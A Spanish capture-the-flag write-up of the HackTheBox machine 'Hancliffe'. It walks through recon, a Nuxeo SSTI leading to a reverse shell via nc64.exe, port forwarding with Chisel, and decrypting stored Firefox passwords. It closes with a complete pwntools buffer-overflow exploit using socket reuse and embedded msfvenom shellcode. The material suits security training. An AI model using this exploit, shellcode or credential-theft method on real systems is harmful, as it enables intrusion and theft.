Hancliffe - HackTheBox
Comencé con un escaneo de Nmap para detectar puertos abiertos.
┌──(root💀kali)-[/home/kali]
└─$ nmap -sS --min-rate 5000 -v -n -Pn -p- 10.10.11.115 -o nmap.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Warning: The -o option is deprecated. Please use -oN
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-12 04:53 EST
Initiating SYN Stealth Scan at 04:53
Scanning 10.10.11.115 [65535 ports]
Discovered open port 80/tcp on 10.10.11.115
Discovered open port 8000/tcp on 10.10.11.115
Discovered open port 9999/tcp on 10.10.11.115
Completed SYN Stealth Scan at 04:53, 26.41s elapsed (65535 total ports)
Nmap scan report for 10.10.11.115
Host is up (0.044s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
8000/tcp open http-alt
9999/tcp open abyss
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds
Raw packets sent: 131086 (5.768MB) | Rcvd: 22 (968B)
Hice otro para identificar la versión de cada servicio.
┌──(root💀kali)-[/home/kali]
└─$ nmap -sCV -p80,8000,9999 10.10.11.115 -o services.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-12 04:54 EST
Nmap scan report for 10.10.11.115
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.21.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.21.0
8000/tcp open http nginx 1.21.0
|_http-title: HashPass | Open Source Stateless Password Manager
|_http-server-header: nginx/1.21.0
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe:
| Welcome Brankas Application.
| Username: Password:
| NULL:
| Welcome Brankas Application.
|_ Username:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=3/12%Time=622C6DEE%P=x86_64-pc-linux-gnu%r(NU
SF:LL,27,"Welcome\x20Brankas\x20Application\.\nUsername:\x20")%r(GetReques
SF:t,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")
SF:%r(HTTPOptions,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Pa
SF:ssword:\x20")%r(FourOhFourRequest,31,"Welcome\x20Brankas\x20Application
SF:\.\nUsername:\x20Password:\x20")%r(JavaRMI,31,"Welcome\x20Brankas\x20Ap
SF:plication\.\nUsername:\x20Password:\x20")%r(GenericLines,31,"Welcome\x2
SF:0Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(RTSPRequest,3
SF:1,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(
SF:RPCCheck,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password
SF::\x20")%r(DNSVersionBindReqTCP,31,"Welcome\x20Brankas\x20Application\.\
SF:nUsername:\x20Password:\x20")%r(DNSStatusRequestTCP,31,"Welcome\x20Bran
SF:kas\x20Application\.\nUsername:\x20Password:\x20")%r(Help,31,"Welcome\x
SF:20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(TerminalServ
SF:erCookie,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password
SF::\x20")%r(TLSSessionReq,31,"Welcome\x20Brankas\x20Application\.\nUserna
SF:me:\x20Password:\x20")%r(Kerberos,31,"Welcome\x20Brankas\x20Application
SF:\.\nUsername:\x20Password:\x20")%r(SMBProgNeg,31,"Welcome\x20Brankas\x2
SF:0Application\.\nUsername:\x20Password:\x20")%r(X11Probe,31,"Welcome\x20
SF:Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(LPDString,31,"
SF:Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(LDA
SF:PSearchReq,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Passwo
SF:rd:\x20")%r(LDAPBindReq,31,"Welcome\x20Brankas\x20Application\.\nUserna
SF:me:\x20Password:\x20")%r(SIPOptions,31,"Welcome\x20Brankas\x20Applicati
SF:on\.\nUsername:\x20Password:\x20")%r(LANDesk-RC,31,"Welcome\x20Brankas\
SF:x20Application\.\nUsername:\x20Password:\x20")%r(TerminalServer,31,"Wel
SF:come\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(NCP,31
SF:,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:\x20")%r(N
SF:otesRPC,31,"Welcome\x20Brankas\x20Application\.\nUsername:\x20Password:
SF:\x20")%r(WMSRequest,31,"Welcome\x20Brankas\x20Application\.\nUsername:\
SF:x20Password:\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.32 seconds
La página principal tenía lo siguiente:
nginx
, nada interesante, y por el puerto 8000
:
Parecía ser algún tipo de generador de contraseñas basándose en lo que le ponías, hice una prueba.
Me genero una contraseña, pero no me servía para nada, lo deje en segundo plano y me conecte al puerto ‘9999’ por nc
.
Era un aplicativo que te pedía credenciales que no tenía, por lo que recurrí a hacer fuzzing a la página principal y encontré el directorio maintentance
que me llamo la atención.
Accediendo al recurso hacia un redirect hacia un 404 Not Found
.
Envíe una petición GET
a ese recurso para ver las cabeceras de respuesta.
El redirect lo aplica por la cabecera Location
, probé a acceder a un recurso que no existe con ..;
porque en el servidor estaba corriendo java
y podría funcionar.
Y si, no me aplico el redirect, esto me llamo la atención, así que probé a hacer fuzzing haciendo uso de ..;
y encontré muchos recursos.
/login.jsp
, accediendo encontré un panel de login.
Abajo del todo estaba la versión de nuxeo
, hice una pequeña búsqueda en busca de exploits.
Este enviaba una petición GET
a una ruta dada aprovechando lo que parecía ser un SSTI
.
Inmediatamente, probé a verificar si era vulnerable.
Y si era vulnerable, me reporto 14
en el resultado del error.
Ahora solo me faltaba encontrar la manera de ganar RCE
, en PayloadAllTheThings encontré sentencias maliciosas que me permitieron ganar ejecución de código arbitrario.
Para verificarlo, puse tcpdump
en escucha de trazas ICMP
.
Tras recibir las trazas ICMP
solo me faltaba ganar acceso a la máquina, abrí un servidor de Python alojando nc64.exe
y me lo descargue desde la máquina víctima con curl
, lo exporte a C:\programdata\
, ya que tenía capacidad de escritura.
Envíe otra petición entablándome una conexión TCP
desde el nc64.exe
de la víctima.
Y gane acceso como usuario svc_account
, cambie al directorio raíz y había lo siguiente.
Nada fuera de lo normal, tampoco tenía capacidad de lectura de la flag, viendo los puertos que estaban corriendo internamente en la máquina, encontré los siguientes:
Para enumerar los puertos por su nombre e información adicional, utilicé el siguiente comando en PowerShell:
Estaba corriendo este binario que me llamo la atención por el puerto 9511
, lo deje en segundo plano.
Tras una pequeña vista de todos los puertos que había, hubo uno que tras una pequeña búsqueda en Google lo delato, el puerto 9512
, encontré un exploit de Unified Remote
.
Le tenía que pasar la IP del servidor vulnerable, el puerto y un binario malicioso, ya que este me haría el certutil
para la descarga del mismo y me lo ejecutaría.
El puerto 9512
estaba abierto internamente por lo que no tenía alcance desde fuera, por ello hice un reenvío de puertos con Chisel
, abrí un servidor en mí máquina.
Y desde la otra máquina me conecté como cliente al servidor por el puerto 8888
.
Y ya tenía el puerto 9512
accesible en mí localhost
, lo verifiqué con netstat -nat
.
Ejecute el exploit.
Y gane acceso a la máquina como el usuario clara
.
Y ya tenía acceso a la flag del usuario.
Enumerando bien, encontré dos directorios de usuario de Firefox.
El primero no tenía nada.
El otro tenía muchos archivos y carpetas por lo que decidí descargármelos a mí máquina, abrí un servidor SMB.
Me copié el directorio ljftf853.default-release
a mi unidad con copy -recurse ljftf853.default-release \\10.10.16.53\files
, tenía un archivo llamativo llamado logins.json
.
Tenía una encryptedPassword la cual podía descifrar si tenía el archivo key4.db
o key3.db
, lo cual tenía el primero, utilice la herramienta firepwd.py
para ello, esta permitía descifrar contraseña protegidas por Mozilla.
┌──(root💀kali)-[/home/kali]
└─$ python3 firepwd.py -d ../ljftf853.default-release
globalSalt: b'9a30912b4d63331f8493789d7b0fce68520f9265'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'cda4b75c5041c6cc7114e053f012122ce92ada163d91df9306158a06d145998a'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'f8cea67900ed4b333ca56416f69a'
}
}
}
OCTETSTRING b'3f321c52f6534075d3d8915531d27df9'
}
clearText b'70617373776f72642d636865636b0202'
password check? True
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'8d0ed50896869dc856de82150164a1390a953b67792edac2a62315625836ff08'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'76eba390fe01807925d822a071da'
}
}
}
OCTETSTRING b'cde74fae29c28c791794371b447180cabce01b6927bac73199f192e557136c36'
}
clearText b'9efbbfd986fd5bef94b032679b7679d09b1f51891601b6e50808080808080808'
decrypting login/password pairs
http://localhost:8000:b'hancliffe.htb',b'#@H@ncLiff3D3velopm3ntM@st3rK3y*!'
Y en cuestión de segundos la descifro, había otro usuario en el sistema llamado development
.
Esto realmente era una pista, si recordamos había una página de generación de contraseñas, entonces puse estas credenciales y el usuario development
.
La contraseña generada me podría servir para autenticarme por winrm
haciendo uso del usuario development
, ya que estaba dentro del grupo Remote Managment Users, pero no está expuesto, por lo que tuve que hacer otro reenvío de puertos del puerto ‘5985’, me abrí un servidor en mí máquina con Chisel
por el puerto 8888
y me conecte como cliente desde la máquina víctima.
Ahora si, me autentique con el usuario development
por winrm
.
ESCALADA DE PRIVILEGIOS
Para la escalada me acordé del binario que corría por el puerto 9511
en la máquina llamado MyFirstApp.exe
.
Me lo transferí a mí máquina y le hice reversing
con ghidra
, habia una función _login
con unas credenciales.
La contraseña parecía estar en base 64, la decodifiqué.
Pero no me sirvió de nada hasta que vi las funciones _encrypt1 y _encrypt2.
Esta es _encrypt1, estaba remplazando la primera letra por la última y así sucesivamente, se estaba aplicando el algoritmo de codificación atbash
.
La segunda, esta ROT47, remplaza un carácter ASCII con el carácter 47 después de él.
Primero hice el proceso inverso de Base 64, después atbash
y finalmente ROT47, quedo esta contraseña.
Analizando más el binario encontré está otra función llamada _SavedCreds, esta sirve para almacenar las credenciales, el problema es que usa strcpy
para copiar el buffer que está definido en 50 bytes, esto provoca un desbordamiento del búfer.
Entrando un poco más en detalle en la función _login, veo que se está entablando una conexión, un socket con 400 bytes de longitud después de introducir algo en un campo llamado Input Your Code, este me llamo la atención, porque si me conecto al puerto 9999
desde nc
y utilizo las credenciales que tengo…
Exacto, este binario es el que está corriendo por el puerto 9999
externamente en la máquina y es vulnerable a BoF, por lo que le introduje muchas A y corrompió.
Para aprovecharme de esto lo explote primero en local, inicie x32dbg
y el binario.
Primero me cree una cadena especial con pattern_create
para encontrar los bytes antes de sobrescribir EIP.
En el exploit comencé definiendo la librería pwn
para poder interactuar con el binario, y sys
para definir los argumentos que hay que pasarle, también defino una clase llamada Exploit con un inicializador al que le he pasado tres variables, que serian el usuario, la contraseña y el nombre, y finalmente defino un método que es por donde va a empezar el flujo del exploit.
#!/usr/bin/python3
from pwn import *
from sys import argv
class Exploit():
def __init__(self, user, password, name):
self.__user = user
self.__password = password
self.__name = name
def socket_reuse(self):
r = remote("192.168.1.145", argv[1])
r.sendlineafter(b"Username: ",self.__user)
r.sendlineafter(b"Password: ",self.__password)
r.sendlineafter(b"FullName:",self.__name)
r.sendlineafter(b"Input Your Code:",payload)
sleep(1)
r.sendline(buf)
autopwn = Exploit(b'alfiansyah', b'K3r4j@@nM4j@pAh!T', 'Vickry Alfiansyah')
def main():
autopwn.socket_reuse()
if __name__ == '__main__':
main()
Comencé comprobando que el exploit funcionaba bien.
Lo segundo que hice fue desactivar DEP, ya que de lo contrario no podría ejecutar instrucciones desde la pila, esto se puede hacer desde opciones de rendimiento.
Ahora si podía seguir, primeramente con pattern_create
me cree una cadena especial diciéndole con cuentos bytes mi programa corrompe, le puse 200, esto es para saber cuantos bytes hay que pasarle antes de sobrescribir EIP.
En el script añadí la siguiente línea con la cadena generada por pattern_create
en la variable payload
.
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
Tras ejecutar el exploit esta era la dirección que tenía EIP:
La copie y la pegue en pattern_offset
.
Ahí esta, el offset son 66 bytes antes de sobrescribir EIP. Probé a enviar 100 B con la siguiente cadena actualizando la variable payload
:
payload = 100*"\xBB"
Este fue el resultado:
Como se puede apreciar no están todas las B que he enviado, esto sucede porque el buffer definido está muy limitado, aquí tenemos un problema, ya que si no tenemos suficiente espacio no podremos inyectar nuestro shellcode
, aquí hice uso de una técnica llamada socket reuse, se basa en la reutilización de sockets para inyectar shellcode, puesto que suele haber suficiente espacio para aprovechar.
El siguiente paso fue hacer una búsqueda de direcciones que contengan jmp esp
en la dirección de push ebp
.
Este fue el resultado en la pestaña References.
Hice un breakpoint en una dirección parecida a la que estaba en push ebp
, en este caso 719023A8
, esta me iba a servir como “dirección de retorno”, la sume a la variable payload
en little endian.
payload = 66*"xBB" + p32(0x719023A8)
Tras una ejecución del exploit ESP se convirtió en 023FFF18
, después de darle en Step Into
la dirección ESP se pasó a EIP.
EIP apuntaba al final de mis bytes y tenía que hacer que apunte desde el principio para que el flujo del programa vaya para abajo y pase por una dirección con el buffer del socket. Para ello lo que hice fue abrir nasm_shell.rb
y restar 70 bytes porque el buffer son 66 bytes + 4 bytes de la dirección.
Este opcode lo añadí a la variable payload
.
payload = 66*"xBB" + p32(0x719023A8) + b"\xeb\xb8"
Ya tenía EIP apuntando al principio de mi cadena.
Lo siguiente fue identificar la función recv
del socket y hacer un breakpoint cuando hace la llamada.
Esto lo hice para ver la estructura de direcciones de la función recv
.
La primera dirección es el descriptor que identifica al socket, la segunda el buffer para recibir los datos, en este caso el shellcode, la tercera la longitud, en este caso 400 bytes como hemos visto con ghidra
y la última son las flags, estas direcciones se interpretan de abajo para arriba por eso tuve que adecuarlo a como están, esto se puede ver mejor de esta manera:
int recv(
[in] SOCKET s,
[out] char *buf,
[in] int len,
[in] int flags
);
Hice un push
de ESP para apilarla al final del todo de la pila y luego hice un pop
a eax
para des apilar ESP y que EAX tenga la dirección de ESP.
- Esto es lo que hace
push
ypop
Corrí el programa y me hizo el push esp.
El valor que tenía en EAX era el siguiente:
Entonces ahora el valor de ESP tenía que estar al final, es decir, la última dirección de la pila.
Y ahora, tras hacer un pop eax
, la dirección de ESP que es 023FFF28
estaba en el registro EAX.
Todo esto lo hice para poder hacer operaciones aritméticas y operaciones de entrada y salida con este registro, mi idea era que el descriptor del socket que estaba en la posición 60 este al final de la pila, la última dirección, para ello reste 60 a 18, ya que este debe estar adecuado al socket.
Tras hacer 0x60 - 0x18
el resultado fue 0x48
, pero el resultado tenía un null byte, este no debía estar porque de lo contrario el exploit no funcionaria como debe, para evitar esto hice una suma de 0x230
porque no tenía null byte y le reste 0x48
, el resultado fue 0x1E8
, de esta manera el resultado no tenía un byte nulo y se comportaba de la misma forma.
En el script tenía los opcode que restaban 70 para posicionar ESP (actúa como “dirección de retorno”) al principio de las A y los opcode de push esp
y pop eax
, estos en la variable recv
.
La variable payload
hacia los cálculos, suma recv
a la cadena restante de A tras restar los 66 bytes a la longitud de recv
y después suma la dirección de jmp esp
a los opcode.
recv = b""
recv += b"\x54" # -> push esp
recv += b"\x58" # -> pop eax
recv += b"\x66\x05\x30\x02" # -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" # -> sub ax, 0x1E8
payload = recv + b"\xAA"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70
Ahora bien, el valor del descriptor del socket lo tenía que almacenar en un registro para poder llamarlo después, en este caso ESI, lo que hice fue mover el valor de EAX que ahora contenía la dirección del descriptor del socket a ESI.
El opcode lo introduje en el exploit en la variable recv
.
recv += b"\x8b\x30" # -> mov esi, [eax]
Ejecute el exploit y EAX tenía la dirección en la que estaba el descriptor del socket, 024BFF60
.
Tras hacer un Step Into
ya tenía almacenado el descriptor en ESI, ya tenía el descriptor del socket hecho, ahora solo me quedaba el buffer, la longitud y las flags, pero tenía un pequeño inconveniente, EIP ira para abajo donde se puede encontrar con ESP, esto podría generar problemas.
Para solucionarlo simplemente resté 70 bytes a ESP
.
Esto lo hice porque así posiciono ESP por encima de EIP y no habrían problemas cuando EIP interprete para abajo.
Seguí con las flags, este valor tenía 0x00000000
, podía usar EBX para almacenarlo, hice un xor
a ebx
porque da como resultado 0 y también le hice un push
a EBX para apilarlo al final.
Ahora simplemente podía sumar a EBX 410 bytes para hacer la longitud, ya que vale 0 y volver a hacer un push
a EBX para apilar la longitud al final de la pila.
Así estaba quedando el exploit.
recv = b""
recv += b"\x54" # -> push esp
recv += b"\x58" # -> pop eax
recv += b"\x66\x05\x30\x02" # -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" # -> sub ax, 0x1E8
recv += b"\x8b\x30" # -> mov esi, dword [eax]
recv += b"\x83\xec\x70" # -> sub esp, 0x70
recv += b"\x31\xdb" # -> xor ebx, ebx
recv += b"\x53" # -> push ebx
recv += b"\x66\x81\xc3\x10\x04" # -> add bx, 0x410
recv += b"\x53" # -> push ebx
payload = recv + b"\xAA"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70
Ya que había restado 70 bytes en el ESP, hice que EBX tenga el valor de ESP para volver a sumar 70 bytes a EBX y caer en un punto intermedio donde están mis A, ahí pondré NOPS para que siga el flujo del programa vaya sin problemas hasta EBX que estará apuntando a la función de socket recv
, la cual contendrá suficiente espacio para almacenar el shellcode.
EBX ya tenía la misma dirección que ESP.
Hice un Step Info
y se aplicó la suma de los 70 bytes, por lo que EBX ya estaba en un punto intermedio de las A.
El exploit estaba quedando así:
recv = b""
recv += b"\x54" # -> push esp
recv += b"\x58" # -> pop eax
recv += b"\x66\x05\x30\x02" # -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" # -> sub ax, 0x1E8
recv += b"\x8b\x30" # -> mov esi, dword [eax]
recv += b"\x83\xec\x70" # -> sub esp, 0x70
recv += b"\x31\xdb" # -> xor ebx, ebx
recv += b"\x53" # -> push ebx
recv += b"\x66\x81\xc3\x10\x04" # -> add bx, 0x410
recv += b"\x53" # -> push ebx
recv += b"\x54" # -> push esp
recv += b"\x5b" # -> pop ebx
recv += b"\x66\x83\xc3\x70" # -> add bx, 0x70
recv += b"\x53" # -> push ebx
payload = recv + b"\xAA"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70
Ahora simplemente hice un push ebx
que contenía el bufer y un push esi
que contenía el descriptor del socket.
Ejecuto el exploit con los nuevos valores y este fue el resultado:
Perfecto!, ya tenía todos los valores correspondientes adecuados al socket, lo que único que faltaba era hacer la llamada, por lo cual necesitaba la dirección del socket, este lo extraje de ghidra
.
Esta direcció la puse en EAX con mov eax, [0x719082ac]
e hice una llamada a EAX.
Converti las A en NOPS y este es el aspecto que tenía el exploit.
recv = b""
recv += b"\x54" # -> push esp
recv += b"\x58" # -> pop eax
recv += b"\x66\x05\x30\x02" # -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" # -> sub ax, 0x1E8
recv += b"\x8b\x30" # -> mov esi, dword [eax]
recv += b"\x83\xec\x70" # -> sub esp, 0x70
recv += b"\x31\xdb" # -> xor ebx, ebx
recv += b"\x53" # -> push ebx
recv += b"\x66\x81\xc3\x10\x04" # -> add bx, 0x410
recv += b"\x53" # -> push ebx
recv += b"\x54" # -> push esp
recv += b"\x5b" # -> pop ebx
recv += b"\x66\x83\xc3\x70" # -> add bx, 0x70
recv += b"\x53" # -> push ebx
recv += b"\x56" # -> push esi
recv += b"\xa1\xac\x82\x90\x71" # -> mov eax, [0x719082ac]
recv += b"\xff\xd0" # -> call eax
payload = recv + b"\x90"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70
Ahora simplemente cree mi shellcode con msfvenom
.
Lo introduje en el exploit y así quedo entero.
#!/usr/bin/python3
from pwn import *
from sys import argv
from time import sleep
class Exploit():
def __init__(self, user, password, name):
self.__user = user
self.__password = password
self.__name = name
def socket_reuse(self):
"""
int recv(
[in] SOCKET s, 0x
[out] char *buf, -> 0x00be40f0
[in] int len, -> 0x00000410
[in] int flags -> 0x00000000
);
"""
# Cambiar a vuestro shellcode
buf = b""
buf += b"\xdb\xdc\xd9\x74\x24\xf4\xb8\x0c\x84\x35\xbe\x5a\x33"
buf += b"\xc9\xb1\x52\x31\x42\x17\x83\xc2\x04\x03\x4e\x97\xd7"
buf += b"\x4b\xb2\x7f\x95\xb4\x4a\x80\xfa\x3d\xaf\xb1\x3a\x59"
buf += b"\xa4\xe2\x8a\x29\xe8\x0e\x60\x7f\x18\x84\x04\xa8\x2f"
buf += b"\x2d\xa2\x8e\x1e\xae\x9f\xf3\x01\x2c\xe2\x27\xe1\x0d"
buf += b"\x2d\x3a\xe0\x4a\x50\xb7\xb0\x03\x1e\x6a\x24\x27\x6a"
buf += b"\xb7\xcf\x7b\x7a\xbf\x2c\xcb\x7d\xee\xe3\x47\x24\x30"
buf += b"\x02\x8b\x5c\x79\x1c\xc8\x59\x33\x97\x3a\x15\xc2\x71"
buf += b"\x73\xd6\x69\xbc\xbb\x25\x73\xf9\x7c\xd6\x06\xf3\x7e"
buf += b"\x6b\x11\xc0\xfd\xb7\x94\xd2\xa6\x3c\x0e\x3e\x56\x90"
buf += b"\xc9\xb5\x54\x5d\x9d\x91\x78\x60\x72\xaa\x85\xe9\x75"
buf += b"\x7c\x0c\xa9\x51\x58\x54\x69\xfb\xf9\x30\xdc\x04\x19"
buf += b"\x9b\x81\xa0\x52\x36\xd5\xd8\x39\x5f\x1a\xd1\xc1\x9f"
buf += b"\x34\x62\xb2\xad\x9b\xd8\x5c\x9e\x54\xc7\x9b\xe1\x4e"
buf += b"\xbf\x33\x1c\x71\xc0\x1a\xdb\x25\x90\x34\xca\x45\x7b"
buf += b"\xc4\xf3\x93\x2c\x94\x5b\x4c\x8d\x44\x1c\x3c\x65\x8e"
buf += b"\x93\x63\x95\xb1\x79\x0c\x3c\x48\xea\x39\xcb\x42\xdf"
buf += b"\x55\xc9\x62\x1e\x1d\x44\x84\x4a\x71\x01\x1f\xe3\xe8"
buf += b"\x08\xeb\x92\xf5\x86\x96\x95\x7e\x25\x67\x5b\x77\x40"
buf += b"\x7b\x0c\x77\x1f\x21\x9b\x88\xb5\x4d\x47\x1a\x52\x8d"
buf += b"\x0e\x07\xcd\xda\x47\xf9\x04\x8e\x75\xa0\xbe\xac\x87"
buf += b"\x34\xf8\x74\x5c\x85\x07\x75\x11\xb1\x23\x65\xef\x3a"
buf += b"\x68\xd1\xbf\x6c\x26\x8f\x79\xc7\x88\x79\xd0\xb4\x42"
buf += b"\xed\xa5\xf6\x54\x6b\xaa\xd2\x22\x93\x1b\x8b\x72\xac"
buf += b"\x94\x5b\x73\xd5\xc8\xfb\x7c\x0c\x49\x1b\x9f\x84\xa4"
buf += b"\xb4\x06\x4d\x05\xd9\xb8\xb8\x4a\xe4\x3a\x48\x33\x13"
buf += b"\x22\x39\x36\x5f\xe4\xd2\x4a\xf0\x81\xd4\xf9\xf1\x83"
recv = b""
recv += b"\x54" # -> push esp
recv += b"\x58" # -> pop eax
recv += b"\x66\x05\x30\x02" # -> add ax, 0x230
recv += b"\x66\x2d\xe8\x01" # -> sub ax, 0x1E8
recv += b"\x8b\x30" # -> mov esi, dword [eax]
recv += b"\x83\xec\x70" # -> sub esp, 0x70
recv += b"\x31\xdb" # -> xor ebx, ebx
recv += b"\x53" # -> push ebx
recv += b"\x66\x81\xc3\x10\x04" # -> add bx, 0x410
recv += b"\x53" # -> push ebx
recv += b"\x54" # -> push esp
recv += b"\x5b" # -> pop ebx
recv += b"\x66\x83\xc3\x70" # -> add bx, 0x70
recv += b"\x53" # -> push ebx
recv += b"\x56" # -> push esi
recv += b"\xa1\xac\x82\x90\x71" # -> mov eax, [0x719082ac]
recv += b"\xff\xd0" # -> call eax
payload = recv + b"\x90"*(66 - len(recv)) + p32(0x719023A8) + b"\xeb\xb8" # -> jmp $-70
r = remote("10.10.11.115", argv[1])
r.sendlineafter(b"Username: ",self.__user)
r.sendlineafter(b"Password: ",self.__password)
r.sendlineafter(b"FullName:",self.__name)
r.sendlineafter(b"Input Your Code:",payload)
sleep(1)
r.sendline(buf)
autopwn = Exploit(b'alfiansyah', b'K3r4j@@nM4j@pAh!T', 'Vickry Alfiansyah')
def main():
autopwn.socket_reuse()
if __name__ == '__main__':
main()
Simplemente, lo ejecute y gane acceso como Administrador
Y ya pude visualizar la flag.
Leave a comment